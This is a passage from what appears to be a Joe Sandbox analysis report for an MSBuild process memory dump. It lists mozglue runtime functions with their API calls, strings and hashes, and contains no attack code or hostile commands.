Part of subcall function 6C4594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4594EE
Part of subcall function 6C4594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C459508

GetCurrentThreadId.KERNEL32 ref: 6C45F637
AcquireSRWLockExclusive.KERNEL32(6C49F4B8,?,?,00000000,?,6C45F598), ref: 6C45F645
ReleaseSRWLockExclusive.KERNEL32(6C49F4B8,?,?,00000000,?,6C45F598), ref: 6C45F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C45F62A

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: a9aaadd711c94cfd6222fdafd224a7d6e45a419c31bb4a2ea5d7a48b4c836fff
Instruction ID: 87ebb2a482ec6dea56a77979130c5a877e2ca7a1f82f4193f2bb08d5415d496e
Opcode Fuzzy Hash: a9aaadd711c94cfd6222fdafd224a7d6e45a419c31bb4a2ea5d7a48b4c836fff
Instruction Fuzzy Hash: 92F05EB5201224BFEE10FF658C48E6A7B7DEBA62ADF400415FA0683741CB765C16C7A6

Function 6C4505F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C44CFAE,?,?,?,6C4131A7), ref: 6C4505FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C44CFAE,?,?,?,6C4131A7), ref: 6C450616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C4131A7), ref: 6C45061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C4131A7), ref: 6C450627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C45061B, 6C450625
<jemalloc>, xrefs: 6C4505FA, 6C45060F

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 72687d128fe5fc6dd3a83f3cfcb1f6352121c0584057d28f138858e3f5b6c0db
Instruction ID: 64f0e087b9378274df89d48abc2858b8504b6c2f795fe514e4f80e2313f42b92
Opcode Fuzzy Hash: 72687d128fe5fc6dd3a83f3cfcb1f6352121c0584057d28f138858e3f5b6c0db
Instruction Fuzzy Hash: D1E0ECE2A0212437F514A26ABC8AEBB765CDBC6574F080139FE0D82301E95AED1A55F6

Function 6C4205F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75f6c81005120a1d73b5d16b106759632179bf365acda766db781f26304ad1aa
Instruction ID: 9bd838de0bcab3768bd539e8e69d0305be973e26a032fb918db802ac319dbc02
Opcode Fuzzy Hash: 75f6c81005120a1d73b5d16b106759632179bf365acda766db781f26304ad1aa
Instruction Fuzzy Hash: DAA135B0A016558FDB24CF69C594E9AFBF1FF88304F54866ED48A97B00E734A945CFA0

Function 6C4714A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4714C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4714E2
GetCurrentThreadId.KERNEL32 ref: 6C471546
InitializeConditionVariable.KERNEL32(?), ref: 6C4715BA
free.MOZGLUE(?), ref: 6C4716B4

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 5993ae83b7b63db47d8613487e4d333bd4b427d2452a7798e4f650754c6bcec2
Instruction ID: c378fcfb7cd563583601dfd6bf365c7775c4c7b6ceaf24c872960e118b301ac2
Opcode Fuzzy Hash: 5993ae83b7b63db47d8613487e4d333bd4b427d2452a7798e4f650754c6bcec2
Instruction Fuzzy Hash: 0D61CB72A017509BDB21DF21C890FDABBB5BF89308F04851DE98A57701EB30E949CBA1

Function 6C469F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C469FDB
free.MOZGLUE(?,?), ref: 6C469FF0
free.MOZGLUE(?,?), ref: 6C46A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C46A0BE
free.MOZGLUE(?,?), ref: 6C46A0D5
free.MOZGLUE(?,?), ref: 6C46A0EB

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: da8cb34023fde6eb83afa72dbb73535534c59d22c2402cde3144ed50cceb74fe
Instruction ID: e19ec85d5e8b5eac6167110a7470eacbaa3c6db3cd943239b6fbb423699341fc
Opcode Fuzzy Hash: da8cb34023fde6eb83afa72dbb73535534c59d22c2402cde3144ed50cceb74fe
Instruction Fuzzy Hash: 2161AC754086119FC711CF19C48099AB3F5FFC8329F54865DE8999BB02EB32E986CBC1

Function 6C46DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C46DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C46D38A,?), ref: 6C46DC6F
free.MOZGLUE(?,?,?,?,?,6C46D38A,?), ref: 6C46DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C46D38A,?), ref: 6C46DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C46D38A,?), ref: 6C46DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C46D38A,?), ref: 6C46DD4A

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: b0e6608cf544d579d847cdd124673083fd57c16eecc482bb9fb8ff6e50b81304
Instruction ID: 412c7fac4f44793d0eb9241197e322b9ace5898d2d501ab8e715c73a2fcc27ad
Opcode Fuzzy Hash: b0e6608cf544d579d847cdd124673083fd57c16eecc482bb9fb8ff6e50b81304
Instruction Fuzzy Hash: 204147B5A006159FCB10DF9AC880D9AB7B6FF89318B654569D945ABB14DB31EC00CB90

Function 6C46C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C46C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C46C842

Part of subcall function 6C46CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C48B5EB,00000000), ref: 6C46CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C46C863
std::_Facet_Register.LIBCPMT ref: 6C46C875

Part of subcall function 6C44B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C48B636,?), ref: 6C44B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C46C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C46C8BC

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: bdc356604922d4fab0225c6a2cb9ff8cabbc802dd0b7970c81807781d7a25beb
Instruction ID: 5bc4150c8e311e8d26302d435b09fc905ef39c54f1fea02c107db82cb1a48fd3
Opcode Fuzzy Hash: bdc356604922d4fab0225c6a2cb9ff8cabbc802dd0b7970c81807781d7a25beb
Instruction Fuzzy Hash: 0E119071B002199FDF10EFA5C888DAEBB75EF99365B10012DE90697751DB309908CBE1

Function 6C44F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C44F480

Part of subcall function 6C41F100: LoadLibraryW.KERNEL32(shell32,?,6C48D020), ref: 6C41F122
Part of subcall function 6C41F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C41F132

CloseHandle.KERNEL32(00000000), ref: 6C44F555

Part of subcall function 6C4214B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C421248,6C421248,?), ref: 6C4214C9
Part of subcall function 6C4214B0: memcpy.VCRUNTIME140(?,6C421248,00000000,?,6C421248,?), ref: 6C4214EF

Part of subcall function 6C41EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C41EEE3

CreateFileW.KERNEL32 ref: 6C44F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C44F523

Strings

\oleacc.dll, xrefs: 6C44F4CB

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 544192fd322e528ea214a8ce08e0b4f96745839d4cbe0852b406bcd6fe3a729e
Instruction ID: d2cd753951dc580c73d86286f74a25120a09c03d8ec653dd9950377449dd03df
Opcode Fuzzy Hash: 544192fd322e528ea214a8ce08e0b4f96745839d4cbe0852b406bcd6fe3a729e
Instruction Fuzzy Hash: 624191306097509FF720DF68C884F9AB7F4EF45329F204A1CE59583651EB70E9498B92

Function 6C45E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C424A68), ref: 6C45945E
Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C459470
Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C459482
Part of subcall function 6C459420: __Init_thread_footer.LIBCMT ref: 6C45949F

GetCurrentThreadId.KERNEL32 ref: 6C45E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C45E04F

Part of subcall function 6C4594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4594EE
Part of subcall function 6C4594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C459508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C45E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C45E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C45E057

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: a8ae4821093df281aaeb25e678c2119b3dea961152937844147760a4f796bd7c
Instruction ID: 6de6180e4af026a60254a0cba8bbb5b8cf103c5f4b36616c1631cd09f2fcc4f2
Opcode Fuzzy Hash: a8ae4821093df281aaeb25e678c2119b3dea961152937844147760a4f796bd7c
Instruction Fuzzy Hash: B821C274B001289FDF04EF64D898EEEBBB5EF55209F944018E90AA7740DB35A919C7E1

Function 6C4774A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C477526
__Init_thread_footer.LIBCMT ref: 6C477566
__Init_thread_footer.LIBCMT ref: 6C477597

Strings

kernel32.dll, xrefs: 6C477557
UnmapViewOfFile2, xrefs: 6C477552

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 2332f8c958fe2b53cb6f7f7fe0efbd0ea7507f21dabac8be147685dd5345a95d
Instruction ID: df1450e90271454d0ebed47b4d0cb6cd72f2a1578ff12ee89d4b16d613e551a0
Opcode Fuzzy Hash: 2332f8c958fe2b53cb6f7f7fe0efbd0ea7507f21dabac8be147685dd5345a95d
Instruction Fuzzy Hash: 23213731B0A561ABEF25EFE9D844EC93B75EB46339B50457CF80247F80C730A812C6A2

Function 6C47A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C49F770,-00000001,?,6C48E330,?,6C43BDF7), ref: 6C47A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C43BDF7), ref: 6C47A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C43BDF7), ref: 6C47A7E4
LeaveCriticalSection.KERNEL32(6C49F770), ref: 6C47A80A

Strings

accelerator.dll, xrefs: 6C47A7BF

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 2410dd7306ce48058cc4d570dec9a456fc778d32f1dfd231d29c4cdec89eb341
Instruction ID: 70cbf931aa74cd7913fdbd950619ea5fbcd5af035dcdc35db2234db9b78d07d8
Opcode Fuzzy Hash: 2410dd7306ce48058cc4d570dec9a456fc778d32f1dfd231d29c4cdec89eb341
Instruction Fuzzy Hash: 9B018F70A013149FAF04EF5AD885D517BB8FF8931570580AAF9098B701DB71DC00CBA1

Function 6C47C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C47C0E9), ref: 6C47C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C47C437
FreeLibrary.KERNEL32(?,6C47C0E9), ref: 6C47C44C

Strings

NtQueryVirtualMemory, xrefs: 6C47C431
ntdll.dll, xrefs: 6C47C413

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 8f8db413c0f21ca7fefe0c0da4f86ed71daefb955fde98f534ff540553e35ecc
Instruction ID: 994f31273199068ee0937ca5f7ca63981a1018e4cab350f53c4df44a65c53c08
Opcode Fuzzy Hash: 8f8db413c0f21ca7fefe0c0da4f86ed71daefb955fde98f534ff540553e35ecc
Instruction Fuzzy Hash: 72E0B6706127219BFFA0FF72D908F157FFCA7A6245F10411AFA0491701EBB0C0108B60

Function 6C4775B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C47748B,?), ref: 6C4775B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C4775D7
FreeLibrary.KERNEL32(?,6C47748B,?), ref: 6C4775EC

Strings

RtlNtStatusToDosError, xrefs: 6C4775D1
ntdll.dll, xrefs: 6C4775B3

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: e9fcdca76fc062a318d44f209388fb0e8cfa5c4abbfe7f9573e27a49476866ca
Instruction ID: a02ba558fe5a312cd9c318f9766f4077e77fc59866d9bc5354f1f046cce480b0
Opcode Fuzzy Hash: e9fcdca76fc062a318d44f209388fb0e8cfa5c4abbfe7f9573e27a49476866ca
Instruction Fuzzy Hash: 25E09271A06321ABEF11FFA2E848F017FF8EB26259F105479F905D1A00EBB180518F10

Function 6C477600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C477592), ref: 6C477608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C477627
FreeLibrary.KERNEL32(?,6C477592), ref: 6C47763C

Strings

NtUnmapViewOfSection, xrefs: 6C477621
ntdll.dll, xrefs: 6C477603

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: f8b5530fd74d83b7c45b7658bbabfcb49969447a46b7d4fbc45ceb843041b724
Instruction ID: 6ec9d38e7c906c7cd2a1d0d08bcf1a48b577660e2d9bada1bc6450870b1df0d0
Opcode Fuzzy Hash: f8b5530fd74d83b7c45b7658bbabfcb49969447a46b7d4fbc45ceb843041b724
Instruction Fuzzy Hash: EEE092B4A46361ABEF21FFA6D808F457FB8E72A2A9F004169F905D1700E7B080008B54

Function 6C47BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C47BE49), ref: 6C47BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C47BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C47BE49), ref: 6C47BF38
RtlReAllocateHeap.NTDLL ref: 6C47BF83
RtlFreeHeap.NTDLL ref: 6C47BFA6

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 713c458ef7dbff133bfb777dad1039645e8c48dbd40fcea92a588d4374d17c8d
Instruction ID: e9b32c4d9086c1d570c76ae663cfc5d990d86d2e3e5f5f9ad7da4f82fcbfaa2a
Opcode Fuzzy Hash: 713c458ef7dbff133bfb777dad1039645e8c48dbd40fcea92a588d4374d17c8d
Instruction Fuzzy Hash: 72517C71A002058FE724CF69CD80FAAB3A2BF88714F294629D555E7B94D730F9068BA0

Function 6C468E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C45B58D,?,?,?,?,?,?,?,6C48D734,?,?,?,6C48D734), ref: 6C468E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C45B58D,?,?,?,?,?,?,?,6C48D734,?,?,?,6C48D734), ref: 6C468EBF
free.MOZGLUE(?,?,?,?,6C45B58D,?,?,?,?,?,?,?,6C48D734,?,?,?), ref: 6C468F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C45B58D,?,?,?,?,?,?,?,6C48D734,?,?,?,6C48D734), ref: 6C468F46
free.MOZGLUE(?,?,?,?,6C45B58D,?,?,?,?,?,?,?,6C48D734,?,?,?), ref: 6C468F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C45B58D,?,?,?,?,?,?,?,6C48D734,?,?,?), ref: 6C468F8F

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: bd7a5686cfbcca021041b3b3cc9ea0ed16c8010a3c424c170eba1cefcf6c3c3d
Instruction ID: f088c916d7bdfe6eab44e4f59e9135fe71e70697f6e3cd34ddaf5b5940ccb4ca
